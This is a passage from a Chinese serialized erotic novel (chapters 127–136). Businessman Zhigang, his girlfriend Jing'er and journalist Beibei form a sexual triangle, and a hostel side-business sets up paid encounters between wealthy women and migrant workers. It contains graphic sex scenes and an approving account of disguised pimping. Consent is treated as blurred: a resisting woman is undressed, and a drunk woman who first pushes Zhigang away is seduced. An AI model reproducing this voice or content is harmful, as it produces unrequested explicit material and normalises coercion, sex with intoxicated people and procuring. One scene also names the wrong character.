有规律的性生话,让井儿出落得越发漂亮了。她过去的美是宁静与单纯,像工笔画那样精工细描出来的清晰的美。而现在的美则有些说不清道不明,工笔画的手法已经表达不出来,却如写意一样让人想象空间增大。比如,女人经历过长期性生活的滋润,而浑身散发出的那种成熟的韵味如何描绘?女人经历过生活的磨炼和文化的陶冶,而使形象和服饰都改变不了的那种高雅的气质如何描绘?

井儿就是这种美,而且美得真实,没有丝毫虚伪和造作,这才显得更美。志刚经常在欣赏井儿之美时,在心里与另外几个与他亲密的美女对比一番。比如,吴姐是很美的,可即便她年轻三十岁,也无法和井儿相比。吴姐有她虚伪之处,比如她的情欲不得不让气质来掩盖住。玉琴在真实一点上与井儿相当,但她的性格中有一种要掌控局面的狠劲,对女人来说这是最不讨男人喜欢的。

井儿的*也越来越强,她丝毫不掩饰,自自然然地表达出来,并享受和志刚的性爱。至今,她还没有对志刚之外的任何一个男人产生*。志刚想,如果有,她肯定会自然地表现出来,或者告诉志刚。可如果有那一天,志刚会怎么做?

每次到志刚这边来,井儿都要买些菜,下厨烧几个菜,和志刚稍微喝几杯酒。井儿天生能喝酒,但不多喝,几杯下去,她白皙娇嫩的脸蛋上就染上些微的红晕,娇美无限,惹人怜爱。

今天她脸上还带有喜气,更显可爱。刚喝几杯酒,她对志刚说:“志刚,春儿要到上海来了。”

“春儿?你妹妹?她来干什么?”

“她考上大学了,上海师范大学音乐学院。过两天就来,你和我一起去火车站接她好吗?”

“好啊。”

志刚端起酒杯,和井儿一饮而尽。

“你妹妹是什么专业?”

“声乐专业,唱民歌。她嗓子可好了。”

“那以后会馆有活动,可以请她来唱。”

可能是高兴,井儿今晚的欲望提前来了。她觉得身上燥热,便脱掉上衣,只穿一件低领马夹背心,露出比过去更丰满挺拔的乳房。她知道自己想要志刚了,便摸着乳房说:“志刚,我想要了。”

志刚横抱起井儿进了卧室,井儿已经迫不及待地让志刚进入了。志刚想,在这一刻任何女人都一样的。

每次与井儿做爱都回味无穷,所以志刚满足于和她每周一次。不是一次,是每周一晚,三次以上。

春儿从车门里跳出时,井儿一眼就看到了。她人先跳出来,然后拉杆箱才在后面拖出来。

“姐,姐夫。”

她自作主张叫志刚姐夫。春儿越长越像井儿,但比她高,比她活泼。

“怎么就你一个人?”

井儿说,“没人送你过来?”

“有你和姐夫就行了。爸爸忙,没时间。妈没出过远门,送我过来,你还得送她回去。”

送春儿到学校报完到,安排好住宿,没事了,还有几天报到时间呢。春儿说:“我到你们那边去玩吧。”

春儿跟着志刚和井儿到了公司,三嫂兰花大呼:“哎哟,这怎么又一个漂亮的井儿来了?”

她抱住春儿好一顿亲热。一边的贵玲埋怨道:“见到美女就不放手了?你也让我亲热亲热。”

春儿对公司、会馆和民工之家觉得特别新鲜,让井儿带着转了一大圈,回来时,都等着她们吃晚饭了。

吃饭时,兰花开玩笑说:“春儿这么漂亮,比井儿不差,又是大学生,将来得嫁一个什么样的男人才合适。”

贵玲说:“嫁给谁,谁就有福气。”

兰花看看志刚,说:“得比志刚强。他才是个高中生,春儿怎么也得嫁个硕士博士。”

春儿大大方方地说:“管他什么生,只要能像姐夫这样的我就嫁。”

志刚脸红了。兰花说:“那怎么办?志刚只有一个。要不你们姐妹俩都嫁给志刚吧,让他消受不了,被吸干做*鬼去。”


第128章 大鹏承包民工之家

晚上春儿和井儿一起睡。春儿问:“姐,你和姐夫怎么还不结婚?”

井儿说:“知道没结婚,还姐夫姐夫地叫。”

“嘻嘻。结不结婚都是姐夫,只要我承认就是。”

“对呀。结不结婚不重要,能在一起就好。”

“姐,你现在当总经理了?”

“是啊,邻村民工之家总经理。”

“那我毕业了,你封个副总经理,给我个办公室,让我威风威风。”

“你将来要当歌唱家,当什么副总经理。”

“嗐,我将来?能当个音乐教师就不错了,还歌唱家?”

“你怎么知道就不能当歌唱家?现在草根明星多的是。”

“可我不想当歌唱家,我想和你一样当企业家。”

“你不是最喜欢唱歌吗?”

“就因为喜欢,才不能当事业来做。一当事业做就没有乐趣了。”

“从哪里听来的奇谈怪论。喜欢的当然要当事业来做了。”

“姐,你打算什么时候生小孩?”

“好了好了,睡觉吧,哪来那么多问题。”……

大鹏好久没有到志刚办公室来了,他一屁股坐到沙发上,问:“志刚,找我有什么事?”

志刚也走过来坐下:“一件重要的事,要和你好好商量商量。”

志刚把曲贝贝安排几个富婆与民工的事介绍了,大鹏说:“我的妈哎,还有这么生猛的女人?想要男人到我这来做小姐呀,又过瘾又挣钱。”

“人家钱多得花不完,不做小姐。”

“那就叫男妓玩,反正玩得起。”

“那也不行。人家要的是感觉,只要花钱买到的她们都没兴趣。”

“要花钱买不到的?这年头花钱买不到的东西还真是不多。”

“我是这样想的。把民工之家割一小块出来租给你,你再提高价格转租给她们。”

“装修费可要你出。她们是有钱人,装修低档了不行。”

“不用装修。”

“不用装修?那行吗?”

“你装修得再好能比她家好吗?我说了,她们要的是感觉,在豪华的房间里和男人睡觉她们没有感觉,可要是在草丛里、露天下睡男人她们反而会有感觉。”

“这不是贱吗?”

“女人想男人谁不贱?”

“那我提高价格她们会租吗?”

“会的。因为我让你不要在其他方面收钱,只赚房租。明白吗?”

“不收钱?”

大鹏还不明白。

“你给这些女人介绍民工,不要收她们的钱,也不要收民工的钱。”

“明白了。就是把想收的钱折算到房租上。对吧?”

“对。”

“富婆那边没问题。可民工这边要是不收费,就很难摆平。”

“为什么?”

“这些民工你还不了解?大家都没有时,相安无事。可如果有人有有人没有,不管是不是真的不公平,他们都会认为不公平,会找你讨个公道。比如,我把大群介绍给富婆,而且不收钱,让其他民工知道了,他们就会闹。这一闹,还不全世界都知道了。可如果收钱,他们摸摸自己口袋里没钱,也就认命了。他们不会想有人拿钱多、有人拿钱少是不是公平,因为这个事实他们早就接受了。”

志刚觉得大鹏说得有道理,心想这小子几年也没白混,还有些想法。

“这个问题你想办法解决吧,你比我更了解他们。”

大鹏知道,这样一来违法的风险就转嫁给他了,志刚和民工之家只是租房给他。不过他本来干的就是违法的事,对他来说并没有增加风险,反而给了他挣钱的机会。

和曲贝贝商量后,大鹏把房租按志刚给他的价格,后面加个零,上涨到10倍。他知道,这里面体现的是拉皮条的价置,不贵。

果然如曲贝贝所料,在五十多个参加上次沙龙和近百名经常参加沙龙的女人中,二十来人有对民工的性取向。对她们来说,这点房租是毛毛雨,再加个零也不贵。


第129章 父亲是农民工

沈琼也有类似的性取向。她想可能跟父亲是农民工有关系。

沈琼的母亲是上海下放到安徽的知青,父亲则是她下放那个村子的农民,他们自由恋爱并结婚了。后来为了回城,母亲和父亲离婚了,带着沈琼回到上海。父亲对母亲不忘旧情,加之想念女儿,便在上个世纪八十年代来到上海打工,成为改革开放以后最早的农民工之一。

父亲在打工之余找到母亲家,想见女儿,母亲不让见,并叫父亲以后不要再去找她和女儿。母亲不想让人家知道她的前夫、女儿的父亲是个农民工,认为这样对她和女儿都有好处。沈琼虽小,却对父亲很亲,她觉得母亲对父亲太冷酷无情。后来母亲再婚,嫁给一个回国华侨,她便开始恨母亲、恨那个华侨继父。

沈琼知道自己的性取向还是在结婚后。她是处女结婚的,丈夫是报社的编辑部主任,现在已经是副总编了。丈夫是上海人,对她体贴入微、照顾备至,家务不让她做,烧菜手艺绝佳。做爱时丈夫也是小心翼翼地,不敢动粗。有时好像计划好的一样,先洗澡,后前戏,再入巷,然后等待高潮,弄得沈琼毫无兴趣,很少来高潮。

结婚几年后,他们才买房,装修是沈琼一手操办的,丈夫工作忙,没时间管。装修工头是个山东大汉,很粗鲁,一双眼睛直勾勾地盯着她的乳房,赤 裸裸地表达着对她的欲望,却让她感到兴奋。她想,他如果*自己怎么办?干不干?

她知道她会干的。也真有这种机会。她每天要在现场盯着,直到工人下班,工头总是最后一个走。那个工头是老手,了解女人,看出了她的心思,便在一次下班后,抱住沈琼。沈琼立刻投降,任他把自己抱到一张平放在地面的完整的五合板上,让他在身上折腾一个多小时,她居然来高潮了。那是个新小区,还没有人住,所以尽管窗户都开着,她依然不管不顾地大声喊叫,享受第一次真正的性爱高潮。五合板被下身流出来的液体弄脏了一半面积,不知道第二天工人们是怎处理的。

此后每天他们都要等工人走后做爱,每次都有高潮。直到工程结束。结算工钱时,那个工头一分钱都没有少算,精明得很。而且从此再没有找过沈琼,倒是沈琼还经常想到他,怀念和他做爱的感受。但沈琼一直没有问他叫什么名字。

这是沈琼唯一一次出轨,但她从此就想再出轨了,而且只想和农民工出轨。

按照沈琼提出的要求,曲贝贝给她介绍的民工,是彭孝胜。人高马大,身体健壮,说话粗鲁等等,彭孝胜都符合。

沈琼对彭孝胜很满意。他根本不懂做爱还要前戏,想干就干,直接把沈琼脱光,单刀直入,翻江倒海,不顾后果,最后交帐了事。这是第一次,沈琼没有来高潮,实际上是没有来得及,因为彭孝胜根本不顾别人的感受,只顾自己痛快。哪怕他只等一小会再交帐,沈琼高潮就来了。但她依然满意,因为除了交帐快了,她对其他方面都满意,感觉和自己想要的十分相符。她相信下一次只要她和对方交流一下,肯定能配合好。

第二次果然十分完美。他们已经熟悉了,沈琼在彭孝胜粗鲁地进去以后,叫他慢一点。这个粗鲁汉子倒也听话,尽管他很想快点结束,却忍住了,和这个城里娘们讲一会话。其实在经过那个包工头一个多月的耕耘后,沈琼的高潮来得很快,两个人同时达到快乐的极至。彭孝胜在紧紧抱住沈琼的同时,感受到了沈琼回报的力度,而且他粗壮的小弟弟被女人包得挺紧,还一收一缩地逗得他快乐无比。和曲贝贝也有这种感觉,但他没有仔细体味,现在他明白了,原来和女人做爱还有这么多妙处。

沈琼满足地想,可怜的父亲如果有一个城里女人让他这样做多好,母亲对他的亏欠也算有了补偿。她已经不知道父亲现在在哪里了。


第130章 多方共赢

沈琼和彭孝胜做爱时,曲贝贝在外面客厅里写论文。没办法,最近事太多,已经耽误了,必须要赶出来。她听着闺蜜在里面高潮来临时的尖叫,不禁心旌荡漾,把手放到下面裙子里,在潮湿的沼泽地翻腾,液体流到裙子上也不管了。她想象着这个粗鲁男人在自己身体里的感觉,直翻腾到里面没有声音了,才轻叹一声。今天已经无法再写论文了。

晚上自己到哪里去?卧室无疑今天属于沈琼和彭孝胜了。

她打电话给志刚:“志刚,你在家吗?”

“在。”

“一个人?”

“是啊。”

“我现在过去。”

没等志刚回答,她就挂上电话。她把潮湿的内裤脱掉,扔到卫生间的盆里,下身只有一件裙子。她立刻动身,否则身后房门里那骚女人又要尖叫了。

志刚只穿一件短裤,坐在沙发上看电视。贝贝往他面前一站,挡住电视,掀起裙子,一只右脚抬起踩到沙发上,那已经好像被长征队伍经过而踩得乱七八糟的沼泽地,湿淋淋地呈现在眼前,志刚伸出舌头往前一伸,正好就进去了。汁液立即汹涌而出,流了志刚一嘴。他让舌尖在沼泽地还隐约判断得出的边缘,轻轻地绕一圈,舔干了边缘,又让那边缘活了一般抖动起来,还一张一合地挤出更多的汁液。志刚知道这女人已经到极限了,便站起来,脱下短裤,把贝贝扑倒在沙发上,挺枪刺入荷花深处。

志刚的细腻让贝贝魂牵梦萦,而志刚的勇猛又让她完全开放自己。她长啸着,渐渐挺起身子,把志刚顶起来,把自己挺成一张弓,然后定格,然后瘫倒,大口喘着粗气,身心愉悦。

志刚问:“一进来就达到了高潮。在哪里受到刺激了?”

“还能是哪里,就在我自己的房间。沈琼那个骚货,在里面干得天翻地覆,让我在外面文章都不能写了。”

“那你就让给她,换个房间。”

“是得换个房间了。我答应让她用房间时说过,她要是满意了就收房租。今天看她不满意才怪。”

“你就不要在大志那里租了,太贵。还是在我这边民工之家租吧。”

“当然。你应该给我免费。”

“没问题。我去和井儿说说,免费给你一套。你对我们公司的贡献不小,应该的。”

“再免费给我找个男人。”

“你现在还要我给你找男人?富婆都在求你呢。”

“你说我这件事做得怎么样?”

“好。双方都有需求,达到多方共赢。”

“我要洗澡了。你一起来吧?”

“好。”

志刚看看下身,小家伙被沼泽地的泥浆糊满了,是得洗一下。

洗过澡,他们裸身相拥着躺在床上。贝贝说:“志刚,今天我让你享受一下舌尖功夫。”

“好啊。快来吧。”

贝贝先在下面杂草丛生地带用舌尖寻路,在外围打探,再到底下囊部轻舐,渐渐缩小包围圈,到了一柱擎天底下,舐一圈后,用小手握住柱子下部,不断深深浅浅地交互舔吻像蘑菇头似的部位。接着,毫不犹豫地一口把它含进去。她用舌尖往下部搔痒,舌头的其他部分则左右摆弄柱子的背面,然后又像吃冰棍一般吮着整个柱体。

志刚已经逐渐兴奋起来。贝贝的舌尖能敏感地察觉,她把整个柱子塞进口腔,直抵咽喉……

她听到了门锁声,有人开门。

还没有来得及反应,井儿打开门走进来,一眼看到贝贝俯着身,嘴里含着那根大萝卜。


第131章 二女生情

井儿真生气了,转身就走。

贝贝赶紧跑过去把门挡住,不让井儿走。

“井儿,对不起。我不知道你要来。”

贝贝解释道。

井儿气鼓鼓地不说话。志刚赶紧披上一件毛巾也过来了,把井儿往里拉。井儿还想把贝贝推开。贝贝抱起井儿就往里走。她比井儿高,劲也大些,把井儿放到沙发上,不由分说,把她衣服也*了。

志刚见贝贝脱井儿的衣服,问:“贝贝,你干什么?”

贝贝说:“不能让她走,要不你会后悔一辈子。”

志刚脑子还是蒙的,心想贝贝说的或许有道理,便甩掉身上的毛巾,抱起井儿亲吻。

井儿吃过晚饭后,突然感到身体需要强烈,特别想志刚,便给志刚打电话,志刚没有接。那时志刚正在亲吻贝贝的沼泽地,没有听见。井儿知道今天志刚在家,心想他可能正在洗澡,听不见手机铃声,便直接过来了。走在路上,紧身的牛仔裤磨擦着蚌肉的唇部,越发使她欲火炽盛,迫切地要让志刚来灭火。没想到一进门,志刚让贝贝正含着他的棒棒。怎能不生气。

其实井儿知道志刚有很多女人,她从来没有提过,也不会阻止。她了解志刚,知道他对自己是真心,而且和志刚的性生活自己也非常满意。她想,志刚的*那么强,让自己天天满足他是不现实的,就让他在外面满足吧。让喜欢的人高兴她也就高兴。何况在她的家乡,女人的使命就是让自己的男人满足,满足不了,女人还会帮男人在外面相女人来满足他。

但是她从来没有亲眼看过志刚睡别的女人,今天突然碰到了,一点心理准备都没有,一下子无法接受。当志刚抱起她亲吻时,她顿时便软了,迫切地回吻。她忘记贝贝还在一边,这时只有情欲在燃烧,渴望志刚快些进入。

志刚被贝贝吮得正到关键处,被井儿进来打断了,这时火焰重新点燃,更炽烈,便快速进入井儿。两人都达到了忘我的境界。

贝贝虽然在一边被遗忘了,却很快乐。她怕井儿跑掉以后,从此就和志刚断了,她不愿做这个恶人,也知道志刚是多么爱井儿。见井儿接纳志刚进入,也就放心了。她是记者,如此零距离观察做爱过程的机会,可遇不可求。她津津有味地欣赏着,忘记了自己。

井儿是燃烧着来的,很快就达到高潮,志刚却已经在贝贝身体里射过一次,所以这次特别长久。井儿平静下来时,志刚还在里面坚挺着。井儿有点慌了,知道志刚不满足,可自己已经蚌壳紧闭。志刚知道她的蚌肉还很嫩,此时自己一使劲就会痛,便不敢动,慢慢地出来,怕出来的过程中井儿痛。

见志刚依然旗杆高竖,一边站着赤 裸的贝贝,井儿赶紧把贝贝推过去,让她接着做刚才的事。贝贝这回没用嘴,直接让旗杆进入自己。志刚早已忍不住,拼命攻击贝贝,看着她白花花的肉体被自己揉成面团,直至一泄千里,江河泛滥。

井儿坐在一边,见志刚在别的女人身上淋漓尽致地射着,泪水又流了出来。志刚站起来搂住她,吻着她的泪花,说:“井儿,对不起。我这辈子只会娶你一个人。”

贝贝也过来抱住井儿说:“井儿,我不会和你抢志刚,你放心。志刚也不会要我。只有你这样美丽善良的女孩子才配他。”

很奇怪,井儿觉得贝贝和志刚连为一体了,自己也和志刚连为一体,便和贝贝也亲切了。她也抱住贝贝,用嘴叼住她的奶 头,说:“我要占你便宜。谁让你抢我的人。”

惹得贝贝格格地笑个不停。

穿好衣服,贝贝对井儿说:“我们谈谈吧。”

“谈什么呢?”

“谈谈对性的看法。我问你,花儿美不美?”

“美。”

“你知道,花儿是植物的什么部位吗?”

“什么部位?不就是花么。”

“花儿是起什么作用的?”

“起繁殖作用。花粉传播受孕,花籽落地后,又长出小花来。”

“对呀。花儿就是植物的生殖器。”

“你这一说好像是的。”

“当然是的。植物的生殖器这么美,人的生殖器为什么就不是美的?她就是人体上开放的美丽花朵。我一直认为,古代一些部落的生殖器崇拜是有道理的。性是美的,性爱也是美的。我们做美好的事,为什么要不好意思?”

志刚想,不愧是硕士,把性爱说得这么美,还说出一大套理论来。


第132章 奇怪的要求

防洪堤一旦被打开一个口子,洪水便会冲破大堤,再也无法阻挡。井儿的心理防线一被突破,便也无法防护了。此后,她与志刚做爱时,还经常开玩笑地问他,要不要把贝贝叫来一起做。有时正好贝贝在,便真的三个人做一次。好在志刚有从小在农村爬山下河、种田挑河打下的底,能够应付两个女人。

但是贝贝并不满足。她是为了让志刚和井儿高兴才尽力配合的。每次离开志刚那里,她都要把彭孝胜或者周信峰找来弥补。

沈琼的民工情人是秘密的,不能让人知道,如果传到丈夫耳朵里,和她闹离婚就完了。她不想离婚。所以她每周最多只能过来见彭孝胜一次,不需要租房,只用曲贝贝的房子。

大鹏接手这个业务后,发现这些富婆不好服侍。她们每个人都有自己与众不同的要求,往往还都是奇怪的要求。比如,顾晶晶喜欢被*,每个人时间长短不管,只要轮着上就行。每周她来的时候,就得找三个人以上,不间断地轮着上她一遍或两遍,直到高潮来临她才满足。最多时叫了六个民工,搞得她来了三次高潮,乐得她完事后又想发钱,被民工拒绝了。大鹏和他们有言在先,给钱绝不能要。再比如,有一个二十多岁的小三,叫莹莹,是受虐狂,每次做爱时要民工把她绑起来,用鞭子抽得她浑身是伤,然后再与她做爱。

见到这么多美丽的富婆,大鹏自己也动起心思来。他特别喜欢一个叫王艳丽的女人,一看就是老板的正室,长得非常漂亮,在这群美女中都绝对是鹤立鸡群,不但漂亮,而且冷艳,以大鹏浸淫风月场这么多年的经验,一眼就看出这个女人的*绝强、风格绝对够野。大鹏便安排自己来服侍她。

见到大鹏进房间,王艳丽冷冷地看一眼,便说:“去洗澡。”

大鹏洗好澡,裹着浴巾出来。王艳丽依然是冷冷地说:“把浴巾拿掉。”

大鹏把浴巾拿掉,赤身*地面对着王艳丽冷艳的目光,觉得小弟弟已经被吓得缩成一团了。

王艳丽把自己也*了。美丽的裸身让大鹏两眼发直、咽喉发干。一对大白乳 房甩动着来到志刚眼前,“咔嚓”不知从哪拿来一对手铐,铐住了大鹏的左手,“咔嚓”另一只铐到了椅背上。

“坐下。”

王艳丽叫大鹏坐到椅子上,左手背在后面。她把胸前的一对樱桃对着大鹏的嘴,让他吃。在大鹏的吸吮下,两只樱桃逐渐胀大、变硬,她瞳孔渐渐也放大了,目光发亮,双手在自己身上抚摸,陶醉着。接着,她跳到椅子上站住,把黑三角展开在大鹏眼前,让他的舌尖探索进去。她忽然猛烈地颤抖,跳下椅子,坐到大鹏身上。大鹏被她弄得莫名奇妙,还没有兴奋。她的手抓到大鹏的小弟弟,还是软的。她便俯下身去,用嘴吸吮。她的嘴功很好,大鹏在很舒服中起来了,她又一次坐到大鹏身上,让大鹏进去。

王艳丽的高潮是在大鹏的痛苦中完成的。大鹏被她疯狂的动作摆布得没办法,因为左手是铐在椅背上的,被拉紧却又无法离开,很痛。王艳丽完事后打开手铐,大鹏发现手腕都被磨破了。

下次大鹏就安排别人到王艳丽房间去,谁知王艳丽对他非常满意,不要别人,还要他。他只得硬着头皮过去。这次又变了花样,是用绳子把大鹏绑了起来,然后再用嘴把他吸吮兴奋了,坐到他身上折腾到高潮。

几次以后,王艳丽和大鹏也有些交流。原来她只在做爱时变态,平时却是很好交流的,人也不错。大鹏才知道,原来她丈夫是检察官出身,后来辞职下海,当了老板。

02-12


第133章 出现了负面新闻

早晨刚上班,贵玲就拿一张报纸到志刚办公室。

“志刚,报纸上出现了一篇负面新闻。”

志刚拿过报纸,正是刊登过邻村会馆整版访谈的那份都市报,在第4版右下角,赫然竖着一列黑体字标题:《女性沙龙走向哪里》标题左边还有副标题:不能允许假借研讨为名散布黄色内容。文章篇幅占八分之一版,内容并不翔实,观点也是牵强附会,看来这个作者并不了解女性沙龙,更没有什么新颖的见解。但其负面作用不可小觑,而且它很有可能只是一只试探气球,更大的风暴恐怕在后面。

“这是有人盯上邻村会馆了。”

志刚说。

“会是谁呢?我们的竞争对手不多,也没有得罪谁。”

“有时候得罪谁你都想不到。”

“志刚,我们该怎么办?”

贵玲看着志刚的表情。女人再能干,关键时刻还是对男人有依赖心理。

“你立刻和沈琼联系,她就是这家报社的。叫她设法打听这篇文章的来历,作者的背景。然后和强辉、玉琴联系,他们应该已经看到报纸了,叫他们通过关系打听这件事有没有什么背景,或者政策上有什么变化。”

贵玲出去了。志刚越想越不放心,这篇文章是个危险信号,必须马上行动,否则就来不及了。他打通了吴姐的电话:“吴姐,我想和你见个面,有空吗?”

“我准备和一个好朋友去游泳,正想着叫不叫你呢。你马上过来吧。”

“你到哪里游泳?”

“就在小区游泳馆。”

志刚把车直接开到吴凡住的别墅小区游泳馆,吴姐和一位美貌的中年女人正在门口等着。

“介绍一下,”

吴姐说,“这位是我的好朋友张琳莉,你叫张姐吧。这就是临村公司总经理冯志刚,我和你说过的。”

志刚握住张姐的四根手指:“张姐,您好。”

“你好。”

张姐对他微微一笑。看上去张姐有四十多岁,气质像是领导干部,又像是学者,举止从容,行动利落。她穿一身宽松的休闲装,胸前一对饱满的乳房像顶帐篷一样,把上衣顶到前面,再像帘子一样自然落下。可以想象,那两点最高峰下的帘子后面,是怎样的跌荡起伏、然后一马平川。衣服领口高,看不见一点乳房,却知道她胸部的发达和性感。

他们分别进入男女宾部。志刚换好泳裤进入泳池,她们也在了,张姐穿一件天蓝色泳衣,乳房还是被遮住了。她的胸比吴姐略小,却浑圆而富有弹性。她的腰更细,盆骨略大,三围比例令人惊叹。

两个女人直接进入深水区。她们的泳技非常好,动作标准,自如地变换泳姿,游起来轻盈而快速。志刚泳技也不错,就是动作不标准。他从小在村外水库里玩水,没有人教,自然地就会了游泳。他的蛙泳姿势明显看得出来,是从狗刨式进化过来的;自由泳双腿不是上下打水,而是蛙泳式的蹬腿。

张姐以一种姿式游一个来回,换一种姿势再游一个来回。泳池有50米长,一个来回100米,她游了蝶泳、自由游、蛙泳、仰泳四种姿式,就是400米。回到池边,虽然喘着粗气,高高的胸部一起一伏,却脸色红润,精神焕发,看不出疲劳来。

吴姐说:“看张姐游泳厉害吧?她年轻时是运动员,游泳健将。”

“是吗?那张姐现在是做什么的?”

吴姐看看志刚说:“以后你就会知道了。”

她们坐志刚车回到吴姐家。张姐又进浴室洗澡了。

张姐从浴室出来,吴姐说:“我也洗澡。游泳馆的水未必干净。”

张姐穿一件吴姐的宽松睡衣,看不见的乳房依然高顶着胸前,比暴露出来更为诱人。志刚想,看样子张姐不喜欢穿暴露的服装,可能与她的身份有关。

张姐见志刚热辣辣地盯着自己的胸,也不以为意,坐到沙发上,亲切地对志刚笑笑,说:“志刚。我以后就这样叫你,好吗?”

志刚忙说:“当然。吴姐就这么叫我。”

“志刚,公司运营得不错吧?”

“还行。”

“要是碰到什么困难,就叫吴姐找我。你也可以直接找我,回头你找吴姐要我的手机号码。”

“你能帮我?那可太好了。以后少不了要麻烦你。”

他们攀谈了一会,张姐问了志刚很多问题。和她说话让人感到亲切放松,志刚有问必答,到后来他才感觉到,张姐似乎问得过多了,如果换一种口气,完全可以说她是在查户口。


第134章 神秘的张姐

吴姐出来了,说:“志刚你去洗吧。”

志刚洗过澡出来,吴姐请的钟点工已经把菜摆上桌了。他们坐上桌,吴姐开一瓶XO,给大家倒好,端起酒杯说:“来,先干一杯。”

“干。”

张姐和志刚、吴姐碰一下杯,一饮而尽,志刚也喝干了。

吴姐问志刚:“说吧,你找我有什么事。”

志刚把报纸刊登负面新闻的事说了。吴姐看看张姐,问:“琳莉,政策面有动向吗?”

张姐说:“没有。不要担心,这件事应该是个案,不会有背景。志刚,你先静观其变,消息方面我帮你打听一下。如果事态有扩大的苗头,你再找我。”

志刚站起来说:“谢谢张姐。我敬你一杯。”

张姐也站起来,和他碰一下杯,说:“不必客气。吴姐在我面前夸你多次了。吴姐今天叫你来,我们就是朋友了。来,干。”

吴姐说:“我欣赏的人不会有错。志刚有能力,最关键是人品好、稳重、思路清晰,属于只能成事不会坏事的人。来,我们三个再干一满杯。”

张姐的酒量不错,喝得也爽快。很快一瓶酒喝完了,吴姐还要开一瓶,被张姐拦住了:“不要喝了,现在正好。中午休息一下吧。”

吴姐说:“我知道,你中午有休息的习惯。志刚,扶张姐上去休息吧。”

吴姐对志刚使个眼色,志刚明白了,便扶起张姐。张姐酒不多,站起来让志刚搀着上了楼。

志刚想,张姐一定是个不小的干部,或者是领导干部的夫人,性饥渴,又要面子,还要保密。吴姐让我陪她,就好好陪她吧,让她满足。

把张姐放到床上,志刚毫不犹豫地就吻她。张姐头摆动一下躲开志刚的嘴,双手无力地推一下志刚,便不再抵抗,让志刚吮着嘴唇,舌尖进入嘴中。接着,她便主动地迎合着志刚的亲吻了。

志刚估计张姐以前没有过情人,便把前戏做足些,让她有个接受过程。他先吻张姐颈部,吻领口露出的部位,再往下隔着睡衣吻乳 头,感觉它有变化了,便悄悄地把睡裙掀开,盖住张姐的头,让她闭着眼在黑暗中体验身体的快乐吧。他从山脚开始,一圈一圈地吻着,逐渐向中心过度,直至再一次不隔任何东西舔着两粒红红的樱桃。他像吃奶一样吸吮着,感到口中的樱桃变硬了。张姐脸被蒙着,双手摸到了志刚的脸,志刚感到她手上的柔情,知道她想要什么。

志刚吻到腹部,那里的平坦和紧绷绷的皮肤润泽嫩滑,在舌尖下配合地蠕动着。终于越过丛林,轻轻轻轻地触到蚌壳上端那小小的、像早春枝头嫩嫩的叶苞了,女人的身体开始蠕动。蚌壳渐渐张开一条缝,*一股一股地渗出,源源不断。志刚的舌尖往下沿着蚌口外沿直划下去,它一下子张开了,舌尖便直刺进去。

女人开始强忍不住地发出呻吟,哼哼着,声音渐渐增大,断点连续起来,有节奏地响起来:“嗯——嗯——嗯嗯,嗯——嗯——”

火侯到了,志刚铁骑突入,直捣龙门。他感到女人像贪婪的水母一样,把他完全包进去了。

志刚欣赏着身下的美丽。女人早已把睡裙掀掉,漂亮的脸上好像是忍受着痛苦的表情,实际是在享受着极度的快乐。志刚肯定她以前没有享受过这种快乐。她嘴里发出的声音,好像在冲击着嘴唇的堤坝,想让嘴张开得更大一些,终于冲破阻碍,不顾一切地完全放开自己身心,张开喉咙引吭高歌:“啊——”


第135章 对手是谁

几天后,志刚上班时贵玲又拿一张报纸进来,这次是一张晨报,标题是:《警惕以聚会为名从事违法活动》内容与上次大同小异,没有新意。

志刚想,张姐说没有政策上的变化,就不怕。估计是生意上的对手所为,是谁呢?他开始梳理可能的对象,却不得要领。

参加沙龙的人数已经开始减少,尤其是女性沙龙,最近一次只有30人参加了。来参加的人,还交流着外面的谣传,说女性沙龙是诲淫诲盗,所以很多男人不让自己的女人来了。

曲贝贝和沈琼来了。

“志刚,赶紧烧水,我们要喝功夫茶。”

曲贝贝到志刚这里已经不是外人了。

四人坐到老树桩茶盘四周,志刚忙着烧水、泡茶。

“志刚,我有一个信息告诉你,不知道有没有用。”

沈琼说。

“你说。”

“离我们这里不到5公里,有一家新会馆昨天开业,报纸上刊登消息了。”

“哦?老板是谁知道吗?”

“叫周志民,也是你们安徽人。”

“是他?我认识。强辉组织安徽商会,还叫他当副会长呢。”

贵玲说:“他做他的会馆,上海这么大,我们能对他有威胁吗?”

曲贝贝说:“你们都在安徽商会的圈子里,会馆的主要客源就是商会会员、企业家。对邻村会馆来说,如果失去这个圈子里的客源,不会有大影响,因为你们的活动、创意非常好,知名度打出去了,客户群体散布广,不局限于徽商的圈子。可是,对周志民来说,他没有能力让更大范围知道他的会馆,他的客户目标就是徽商群体,所以他必须想办法让他们不要到邻村会馆来,那么别无选择,就会到他的会馆去了。”

贵玲说:“那他也太狠了。不让安徽人来临村会馆就算了,可这样做是想叫所有人都不来。”

“他没办法把安徽人从你的客户群体中单独剔出来,就只有这样做了,为了赶走你的徽商客户,连你所有的客户都要赶走。”

沈琼说:“都说我们安徽人是最不团结的,我还不服。可你们也太不争气了,真的专做拆台挖墙脚的烂事。我要不是安徽人,也会瞧不起你们什么新徽商的。”

贝贝说:“你不是安徽人,是上海人。”

“谁说的?谁说我是上海人我跟谁急。”

志刚说:“其实他大可不必这样。我们完全可以联合起来,或者他也叫邻村会馆,我们的客源他也可以分享。”

志刚这话提醒了贵玲:“对呀,我们把他的会馆吃下来,再做一个邻村会馆。”

志刚说:“可别这样说,我们现在没这个实力。人家说不定还在想着把我们吃掉呢。不过,这些都还是猜测,在没有证实之前,不要说出去。”

“但是我们要采取应对措施啊。”

贵玲说。

“措施是一定要采取的。但我还没有好办法。今天晚上我请客,大家喝酒,好好聊聊,看有没有灵感出现。”

强辉那边的安徽商会筹备机构有周志民的资料,志刚叫强辉给发过来。周志民是初中毕业,来上海已经十几年,做过建筑工人、工头,承包过工程,现在做钢材贸易,有一定实力,估计在1亿元以内的身价。他这个会馆的场地,原来是堆放钢材的货场,后来他的钢材生意搬到宝山区一个大型钢材市场内,这块地皮就建了一些厂房出租,同时建了一个会所,叫东邻会所。志刚一看这个名字就好笑,明显是拾人牙慧、东施效颦。如此没有创意之人,难怪会使用这种两败俱伤的竞争手段。

晚上喝酒,强辉和玉琴、吴民也来了。志刚看着玉琴和吴民那亲热劲,心想这玉琴还真的谈恋爱了,可喜可贺。


第136章 周志民其人

强辉知道一些周志民的情况,说:“这个人喜欢交际,有一定的社会关系,从他能让报纸刊登对他有利的文章就可以看出来。我认为,他对临村会馆不会有致命威胁,因为他不具备这个能力,但就怕他采取两败俱伤的无赖手段:我做不好,你也不要想做好。”

志刚问:“有没有和他直接沟通的可能?”

